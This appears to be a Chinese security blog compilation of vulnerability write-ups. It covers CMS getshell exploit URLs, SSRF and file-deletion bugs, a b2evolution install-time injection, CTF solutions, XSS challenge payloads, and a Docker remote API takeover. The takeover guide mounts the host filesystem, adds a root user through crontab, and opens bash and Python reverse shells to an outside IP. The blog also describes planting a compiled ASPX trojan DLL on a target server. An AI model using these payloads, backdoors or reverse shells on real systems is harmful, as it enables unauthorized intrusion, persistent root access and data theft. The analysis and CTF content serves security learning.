即:5.3.19版本采取:即使在$var[2]为空时,默认给address变量赋值为空,并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时,由于fileaddr[1]可控导致,仍然可以控制文件路径从而Getshell。
漏洞利用(网站安装在服务器根路径的情况):
第一步,新建1.ico文件,内容为:<?php phpinfo();?>
在后台”地址栏图标”处上传该文件。
得到地址为:http://localhost/upload/file/1506587082.ico
第二步,发送如下payload(注意左斜杠和右斜杠不能随意更改):1
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
shell的地址为:1
http://localhost/about/shell.php
1 | http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1 |
特别注意其中的:“网站index.php上层目录名”,
1.如果网站安装在服务器根目录,这wamp/phpstudy默认目录值为“www”;网站index.php上层目录名设置为”www”; 如果为lamp环境,这默认目录值为“html”网站index.php上层目录名设置为”html”;。其他的环境类推(利用绝对路径泄露)。
2.如果网站安装在服务器的二级目录下,则网站index.php上层目录名设置为二级目录名。
例如:网站搭建在:http://localhost/某CMS 5.3.19/,则第二步的payload如下:1
2
http://localhost/某CMS 5.3.19/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\..\..\某CMS 5.3.19\about\shell.php|1
相应生成的shell地址为:1
http://localhost/某CMS 5.3.19/about/shell.php
此漏洞点位于admin/app/physical/physical.php文件,漏洞和CVE-2017-11347:https://github.com/imp0wd3r/vuln-papers/tree/master/某CMS-5317-auth-rce漏洞十分相似,但是存在根本的差异,不同点如下:
(1)触发函数是Copyindex函数,而非Copyfile
(2)此漏洞不是利用文件包含require_one,而是利用任意内容写入
(3)此漏洞Getshell不需要上传图片
(4)结合CSRF可以实现一键Getshell
1 | # admin/app/physical/physical.php:197-236 |
当$action等于op而且$op等于3的时候,如果$filedir不存在则创建$filedir目录,而且如果$fileaddr[1]等于”index.php”则调用Copyindex函数,并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控!!跟进Copyindex函数源码如下:1
2
3
4
5
6
7
8
9
10#admin/include/global.func.php:877-884
function Copyindx($newindx,$type){
if(!file_exists($newindx)){
$oldcont ="<?php\n# 某CMS Enterprise Content Management System \n# Copyright (C) 某CMS Co.,Ltd (http://www.某CMS.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) 某CMS Co., Ltd. (http://www.某CMS.cn). All rights reserved.\n?>";
$fp = fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}
可见,直接把参数$type直接赋值给$fmodule,并写入文件内容,所以可以构造payload直接getshell.
1 | http://localhost/某CMS 5.3.18/admin/app/physical/physical.php?action=op&op=3&valphy=123|xxx/index.php|123;phpinfo();?>/* |
生成的shell地址:1
http://localhost/某CMS 5.3.18/xxx/index.php
1 | #/admin/system/olupdate.phpwen文件中,当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程 |
此时由于sqlfile不是数组,即is_array($sqlfile)不成立,导致$string没有初始化,可以任意修改,接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
PS:这里有一个小点,由于输入控制sqlfile不是数组,第345行执行$sqlfile[]=$bakfile = “../update/$addr/{$con_db_name}{$date}{$random}_{$num}.sql”;会导致给字符串赋值报错,导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空,从而跳过$sqlfile[]赋值部分,这里构造tableid=1000(其实只要>=44即可)
最后的payload结构如下:1
&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000 system/olupdate.php?action=sql
1 | http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string= phpinfo(); &addr=12313&tableid=1000 |
执行后的shell地址:1
http://xxx.com/admin/update/12313/sqlist.php
1 | #application/admin/controller/Article.php |
1.当请求copy方法时首先判断请求方式为Ajax,然后检测要求存在url参数,并且url中包含csdn字符串即可(很容易利用?csdn
绕过)。
2.调用\phpQuery::newDocumentFile
,函数内容如下:1
2
3
4
5
6public static function newDocumentFile($file, $contentType = null) {
$documentID = self::createDocumentWrapper(
file_get_contents($file), $contentType
);
return new phpQueryObject($documentID);
}
请求目标url,内部调用了file_get_contents请求。
3.由此可见,存在ssrf漏洞。
目标服务器成功收到请求
需要管理员登录后才能利用,且由于请求目标不是CSDN,会导致copy函数后面的处理获取不到有效数据,会提示“服务器出错”,但是实际请求已经成功发送出去了。
利用parse_url提取URL的域名是否属于CSDN。
]]>这两天学习Thinkphp5.1的开发手册,顺便审计一下NoneCMS,利用框架的安全性避免了不少的问题,但还是发现一枚任意文件删除漏洞。
1 | #application/admin/controller/Main.php |
1.当请求upload方法时,如果if (!input(‘?param.act’))不成立,即存在act参数的情况下,进入else分支。
2.此时将path参数的值经过str_replace替换后传入unlink函数,直接删除,由于过滤不严导致任意文件删除。
3.可以采用绝对路径的方式或者windows下用..\
绕过str_replace的限制。
1 | http://127.0.0.1/NoneCMS/public/admin/main/upload/act/1?path=public/install/install.lock |
这个漏洞需要至少能够登录后台的管理员登录才能利用。
..\
和../
好久没有更新博客了,看到b2evolution6.6.0 - 6.8.10被爆出安装过程过滤不严导致Getshell漏洞(CVE-2017-1000423),简单分析一下。
1 | git clone https://github.com/b2evolution/b2evolution.git |
1.请求http://localhost/b2evolution/install/index.php?action=start
2.输入Base URL的值如下(需要有效的数据库配置)
1 | http://localhost/b2evolution/\\';phpinfo();// |
3.处理过程跟进install/_functions_install.php
1 | #第1899行 |
其中针对baseurl的处理如下,即替换单引号'
为\'
:
1 | "baseurl = '".str_replace( "'", "\'", $params['baseurl'] )."';" |
字符串baseurl处理后如下:1
http://localhost/b2evolution/\\\';phpinfo();//
所以导致了单引号的逃逸,紧接着调用save_to_file存入/conf/_basic_config.php文件。
4.打开/conf/_basic_config.php文件内容如下:1
$baseurl = 'http://localhost/b2evolution/\\';phpinfo();//';
5.shell地址:1
http://localhost/b2evolution/
这个漏洞需要在重装的时候才能利用,可以结合任意文件删除漏洞利用。
]]>最近采用Linux+Nginx+PHP+Mysql的方式搭建一个CodeIgniter框架的系统,需求为除了某个特定URL采用HTTP访问以外,其余均强制采用HTTPS访问。
2018-8-28更新配置实现,特定路径(如:/api/*)采用HTTP访问以外,其余均强制采用HTTPS访问。
按照前面系统搭建过程安装并配置、选择采用全部重定向HTTPS的默认配置文件如下:
1 | server { |
根据需求添加对CodeIgniter框架的支持和某个特定URL采用HTTP访问,其余均强制采用HTTPS访问。
1 | server { |
其中主要添加如下两处配置配置:
对CodeIgniter框架的支持
1 | fastcgi_param PATH_INFO $fastcgi_path_info; |
某个特定URL采用HTTP访问以外,其余均强制采用HTTPS访问添加的配置,由于Nginx的判断if条件不支持逻辑&&,需求的等价逻辑如下:
1 | if ($scheme != "https" && $request_uri != "特定的URL" ){ |
曲折的具体实现为:1
2
3
4
5
6
7
8
9
10
11set $flag 0;
if ($scheme != "https") {
set $flag "${flag}1";
}
if ($request_uri != "特定的URL") {
set $flag "${flag}2";
}
if ($flag = "012") {
return 301 https://$host$request_uri;
} # managed by Certbot
曲折的具体实现为:1
2
3
4
5
6
7
8
9
10
11set $flag 0;
if ($scheme != "https") {
set $flag "${flag}1";
}
if ($request_uri !~= /特定路径/*) {
set $flag "${flag}2";
}
if ($flag = "012") {
return 301 https://$host$request_uri;
} # managed by Certbot
通常网络上关于NginxHTTPS配置主要有两种:HTTP和HTTPS同时存在或者所有HTTP强制转发HTTPS。然而项目需要特定URL支持HTTP访问,其余URL强制采用HTTPS,所有产生了本文。此外添加$scheme != “https”的判断是为了防止请求被循环重定向导致网页无法正常访问的问题,由于Nginx配置文件不支持逻辑与(and),采用等价的配置完成需要的功能。
]]>请求http://202.112.51.184:8103/?id=a[0]=240610708
得到flag
XCTF{sTr_covcderd_AND_you_kn0W?}
请求http://202.112.51.184:8102?id=OPE%25%34%65CTF
得到flag
XCTF{UrlDeCode_oL_yOu_lol!}
用sqlmap注入
python sqlmap.py -u "http://202.112.51.184:8201?id=1" --dump -T "flag" -D "security"
得到flag
XCTF{ut9x2a5f8t9e6s3a4g5j}
由于禁用右键功能,使用Firefox的Web Developer插件查看源代码
得到flag
XCTF{_O0oo0O_js_is_FUNNY!}
下载文件,直接用notepade++打开,看到flag:
XCTF{5eacs6y8p1o9gitc9521}
参考 CSAW CTF 2016 aul (100) Writeup
在webshell中直接执行如下命令:
os.execute(“ls”)
os.execute(“cat flag”)
得到flag:
XCTF{q0Cr1iwqlW*W1m8ejiK*0z9JUa1gq@n&}
执行如下python程序1
python -c 'from struct import pack as p; print "A" * 72 + p("Q", 0x40060d)' | nc 202.112.51.184 8301
得到flag:
XCTF{sQ^yeLZKBVkoZ7^zOtigV5xsepBY&bB7}
利用Advanced ZIP Password Recovery 4.0,选择纯数字爆破得到zip解密密码为88888888,
解压压缩包的flag:
XCTF{ke&cVR3OHWHx42ZygOceozE6KIxz1Zzj}
Wireshark追踪流得:1
2
3
4
5
6
7
8GET /?q=XCTF%7BRSUJecDZ5xFp1z1X%26Nmpt%40PZSDQ%25Gbx6%7D HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://192.168.1.115/
Accept-Language: zh-Hans-CN,zh-Hans;q=0.8,en-GB;q=0.5,en;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
Accept-Encoding: gzip, deflate
Host: 192.168.1.115
Connection: Keep-Alive
对参数q的值URLdecode后获得flag:
XCTF{RSUJecDZ5xFp1z1X&Nmpt@PZSDQ%Gbx6}
百度搜索Maya numerals的编码规则如下:
得到1
2
3
4584354467b
323031385f
69735f636f
6d696e677d
每行对应16进制解码得flag:
XCTF{2018_is_coming}
1 | def egcd(a, b): |
flag:
554035859905981120888026046266284028688068004006280022208626
C:\Windows\Microsoft.NET\Framework\v2.0.50727)
1 | aspnet_compiler.exe -v / -p ASPX木马绝对路径 target目标文件绝对路径 |
命令执行完毕后,在target目标文件夹下的bin目录生成对应Dll文件和一些其他文件
使用我所提到的环境编译的情况下,处于功能测试目的,直接运行target目标文件夹下的AspNet.exe即可运行,浏览器访问对应的木马文件名,如aabb.aspx即可正常访问shell木马。
然而打开aabb.aspx文件发现并没有实际内容,将其删除对木马功能没有任何影响
编辑目标主机网站目录的Web.config文件,在<add verb
代码附近添加如下代码:
1 | <add verb="*" path="木马最终访问路径" type="type的值(类名),assembly的值(dll文件名)" validate="True"/> |
将Dll文件copy到目标主机网站根目录/bin目录下访问网站链接木马路径即可
主要问题:docker remote api未授权
测试环境:快捷安装shipyard(docker图形化管理),未设置访问权限
1 | #在安装docker环境下 |
查看docker集群信息
1 | docker -H 目标IP |
查看docker集群镜像
1 | docker -H 目标IP images |
在目标服务器建立docker容器(最好选择服务器已有镜像),并挂载目标服务器所有文件路径到容器/var/hack路径下
1 | docker -H 目标IP run -d -v /:/var/hack --name getshell tutum/lamp |
进入docker容器进行漏洞利用(此处name为getshell
1 | docker -H 123.207.*.* exec -it getshell /bin/bash |
3.1上传公钥证书直接root登录
生成公私钥对
1 | ssh-keygen -t rsa |
上传公钥到目标主机/root/.ssh/authorized_keys文件,然后ssh直接登录root(如果私钥设置密码,需要输入密码)
3.2修改crontab添加root权限用户
编辑/etc/crontab文件最后添加
1 | */1 * * * * root /usr/sbin/useradd 用户名-u 0 -g 0 -o && echo "用户名:密码"|chpasswd |
ssh连接,使用新建的用户名密码登录
3.3修改crontab反弹shell
bash版(前两句代码指定运行的环境变量)1
2
3SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/1 * * * * root bash -i >& /dev/tcp/123.207.*.*/8888 0>&1
python版1
2*/1 * * * * rootpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.207.*.*",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import os;os.popen("bash -i >& /dev/tcp/123.207.*.*/8888 0>&1");'
3.4编写web目录下的文件直接getshell
这个不多说
提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。
最近阿里先知论坛发起XSS挑战赛,记录一下自己做出的几道题的思路
两个文件的源码如下
xss1.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
xss1.htm1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form action="xss1.php" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
解题思路
直接上传一个构造好文件名的图片即可触发xss,但是实际使用中不可能要求攻击对象自己上传图片并burp修改文件名,难点在如何构造一个POST包自动模拟上传文件,参考:从XSSer的角度测试上传文件功能,可以在IE浏览器下实现文件上传模拟,这里需要先上传正常图片burp抓包对比,然后构造对应的字段,而且不能再filename中出现字符/
,最后构造poc文件如下:1
2
3
4
5
6
7<html>
<meta charset=utf-8>
<form id="form" enctype="multipart/form-data" accept-charset="utf-8" action="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.php" method="POST">
<textarea name='fileToUpload"; filename="<svg onload=alert(document.domain);>GIF89a1.jpg' Content-Type="image/jpeg">xss</textarea><input type="submit" value="submit" />
</form>
<script>document.getElementById('form').submit();</script>
</html>
两个题的源码
xss4.php1
2
3
4
5
6
7
8
9
10
11
header("X-XSS-Protection: 0");
<html>
<head>
<meta charset="utf-8">
</head>
<body>
echo "你来自:".$_SERVER['HTTP_REFERER'];
</body>
</html>
xss13.php1
2
3
4
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
解题思路
直接返回请求的referer值或REQUEST_URI到页面上,所以可以插入执行XSS
第一种解法:由于chrome和firefox浏览器以及win10版的IE浏览器均会把referer及REQUEST_URI采用URL编码,所以不能成功执行XSS脚本,但是可以在Win7操作系统下的IE浏览器上不会进行URL编码,可以利用如下脚本跳转触发XSS,1
2
3
4
5<html>
<script>
window.location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php";
</script>
</html>
请求url为:1
http://localshot/xss4.html?<script>alert(document.domain)</script>
第二种解法:利用flash跳转可以在Win10的IE下成功执行XSS,参考XSS via Referrer After Anniversary Update
(1)利用navigateToURL跳转
利用Adobe Flash Professional CS6工具,新建ActionScript文件命名xss_referrer.as,内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
}
public function xss():String{
var url:URLRequest = new URLRequest("http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php");
navigateToURL(url, "_self");
}
}
}
```
保存,然后新建ActionScript 3.0(.fla)文件,xss_referrer.as保存在同一目录下,F9进入动作编程界面,输入内容如下:
```javascript
var xss:xss_referrer = new xss_referrer();
接着导出为swf文件。
请求url为(Win10下的IE成功执行脚本):
1 | http://localshot/xss4.swf?<script>alert(document.domain)</script> |
(2)利用getURL跳转
利用Adobe Flash Professional CS6工具,新建ActionScript 2.0(.fla)文件,笔者测试如果选择ActionScript 3.0文件会提示没有getURL函数,输入内容如下:
1 | getURL("http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php","","get") |
同样需要导出为swf文件
请求url为(Win10下的IE成功执行脚本):
1 | http://localshot/xss4.swf?<script>alert(document.domain)</script> |
源码文件
xss5.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
header("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
<html>
<head>
<meta charset="utf-8">
</head>
<body>
echo "<a href='".$url."'>如果跳转失败请点我</a>";
</body>
</html>
解题思路
开时想采用%00,%0a,%0d来阻止location跳转,参考Bottle HTTP 头注入漏洞探究,然而都过滤了,在朋友的指点下学习了不同解法
(1)gopher协议1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=gopher://123%27%20./a%3E%20%3Cscript%3Ealert(document.domain)%3C/script%3E
(2)端口号(0、1、9、117等)1
ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=https://www.baidu.com:0?'</a><script>alert(1)</script>
源码文件
xss6.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
解题思路
%00 %0a %0d来阻止下载,返回目标问文件内容导致xss,
xss6.txt的内容为1
<script>alert(document.domain)</script>
还有这里需要使用域名的方式绕过限制,请求URL如下:1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php?filename=%00<11111111111111>download&url=http://xxxxxxxx.eu5.org/xss6.txt
源码文件
xss14.php1
2
3
4
5
6
7
8
9
10
11
12
13
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>
解题思路
参考当XSS遇到input hidden属性,利用accesskey在Firefox下成功执行,在Firefox下,使用ALT+SHIFT+X快捷键来触发XSS,请求URL如下:1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=123' accesskey='X' onclick='alert(document.domain)'//
源码文件
xss17.php1
2
3
4
5
6
7
8
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$content=$_GET["content"];
echo "<div data-content='".htmlspecialchars($content)."'>";
解题思路
参考XSS without User Interaction from passive Elements,可以在除了Firefox下的浏览器上非交互直接执行XSS代码1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=1' onfocus='alert(1)' contenteditable tabindex='0' id='xss
朋友也提到使用上一题的accesskey也可以,但是只能在Firefox下,使用ALT+SHIFT+X快捷键来触发XSS1
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=xss ' accesskey=X onclick=alert(1) id='xss
此处XSS挑战学习了很多的新姿势,但是有不少情况存在一定的局限性,要求特定浏览器、特定版本、操作系统等。当然作为技术交流,这次的挑战赛很赞。
]]>